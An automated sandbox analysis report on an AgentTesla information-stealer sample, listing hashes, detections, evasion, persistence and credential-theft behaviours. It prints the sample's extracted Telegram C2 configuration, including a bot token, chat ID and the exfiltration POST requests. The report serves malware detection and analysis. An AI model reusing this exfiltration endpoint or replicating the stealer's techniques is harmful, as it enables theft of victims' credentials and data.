Windows Analysis Report
SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe

Overview

General Information

Sample name: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Analysis ID: 1528790
MD5: dd2f23684673ca3e5c9f578764769b67
SHA1: df4b4d3a081e4a9160feef06452a7a4b9f2687b9
SHA256: f707fe133dc28a26c1bf930647601bc36d7ffdabe046c8eac7a9c6c23e11e2ff
Tags: exe
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Telegram RAT
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to log keystrokes (.Net Source)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Found malware configuration
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendMessage?chat_id=-4195170748"}
Source: eFzAvsOm.exe.8104.13.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendMessage"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Virustotal: Detection: 30% Perma Link
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe ReversingLabs: Detection: 15%
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Virustotal: Detection: 30% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: eLRW.pdbSHA256 source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, eFzAvsOm.exe.0.dr
Source: Binary string: eLRW.pdb source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, eFzAvsOm.exe.0.dr
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 4x nop then jmp 06FF5768h 0_2_06FF59B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 4x nop then jmp 06FF5768h 0_2_06FF5AC3

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.4:49734 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.4:49734 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.4:49734
Source: Network traffic Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.4:49736 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.4:49736 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.4:49736
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dce74dbfe87fdaHost: api.telegram.orgContent-Length: 916Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dce74dc2626ac8Host: api.telegram.orgContent-Length: 916Expect: 100-continueConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown HTTP traffic detected: POST /bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dce74dbfe87fdaHost: api.telegram.orgContent-Length: 916Expect: 100-continueConnection: Keep-Alive
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2945148313.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2944094662.0000000002FF9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1769422438.00000000025B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2945148313.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000A.00000002.1817829131.0000000002E25000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2944094662.0000000002FE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1774007955.0000000006722000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2945148313.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2944094662.0000000002FE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2945148313.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, eFzAvsOm.exe, 0000000D.00000002.2944094662.0000000002FE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot6712831410:AAHcAQdRCEA5D54-vSqmAsfuFOnMq6rPNCg/sendDocument
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49736 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, WlTRkNu7R3i.cs .Net Code: p8gw
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, WlTRkNu7R3i.cs .Net Code: p8gw
Source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, WlTRkNu7R3i.cs .Net Code: p8gw

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Detected potential crypto function
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_023DF044 0_2_023DF044
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_04B626E8 0_2_04B626E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_04B626D7 0_2_04B626D7
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C11248 0_2_06C11248
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C13A50 0_2_06C13A50
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1D3D4 0_2_06C1D3D4
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C5F1F0 0_2_06C5F1F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C5EDB8 0_2_06C5EDB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C5E980 0_2_06C5E980
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06FF0AE0 0_2_06FF0AE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06FF1490 0_2_06FF1490
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06FF8880 0_2_06FF8880
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E44A48 8_2_00E44A48
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E4CD88 8_2_00E4CD88
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E43E30 8_2_00E43E30
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E44178 8_2_00E44178
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E4AB95 8_2_00E4AB95
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F0BCE0 8_2_05F0BCE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F0DC00 8_2_05F0DC00
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F03F38 8_2_05F03F38
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F02EF0 8_2_05F02EF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F056C8 8_2_05F056C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F00040 8_2_05F00040
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F08B6A 8_2_05F08B6A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F09AC8 8_2_05F09AC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F04FE8 8_2_05F04FE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_05F0362B 8_2_05F0362B
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_069B3891 8_2_069B3891
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 8_2_00E4D130 8_2_00E4D130
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_02BFF044 10_2_02BFF044
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_057C26E8 10_2_057C26E8
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_057C26D7 10_2_057C26D7
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_07011340 10_2_07011340
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_0701D3D4 10_2_0701D3D4
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_07013A50 10_2_07013A50
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_0705F1F0 10_2_0705F1F0
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_0705EDB8 10_2_0705EDB8
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 10_2_0705E980 10_2_0705E980
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DC9358 13_2_02DC9358
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DC4178 13_2_02DC4178
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DC4A48 13_2_02DC4A48
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DC9B10 13_2_02DC9B10
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DC3E30 13_2_02DC3E30
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DCCD88 13_2_02DCCD88
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E2EF0 13_2_062E2EF0
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E56C8 13_2_062E56C8
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E3F38 13_2_062E3F38
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062EDC10 13_2_062EDC10
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062EBCE0 13_2_062EBCE0
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E9AC8 13_2_062E9AC8
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E8B78 13_2_062E8B78
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E0040 13_2_062E0040
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E3640 13_2_062E3640
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_062E4FE8 13_2_062E4FE8
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_07143891 13_2_07143891
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Code function: 13_2_02DCD130 13_2_02DCD130
Sample file is different than original file name gathered from version info
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb895170f-e66e-4f3b-8dda-299a96988975.exe4 vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1769422438.00000000025B0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb895170f-e66e-4f3b-8dda-299a96988975.exe4 vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1775633710.0000000007160000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamePowerShell.EI vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1776126239.0000000008440000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000000.1697523907.00000000000C2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameeLRW.exeL vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1767892641.000000000077E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2940718792.000000000043E000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb895170f-e66e-4f3b-8dda-299a96988975.exe4 vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2941312205.00000000009B9000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Binary or memory string: OriginalFilenameeLRW.exeL vs SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe
Uses 32bit PE files
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
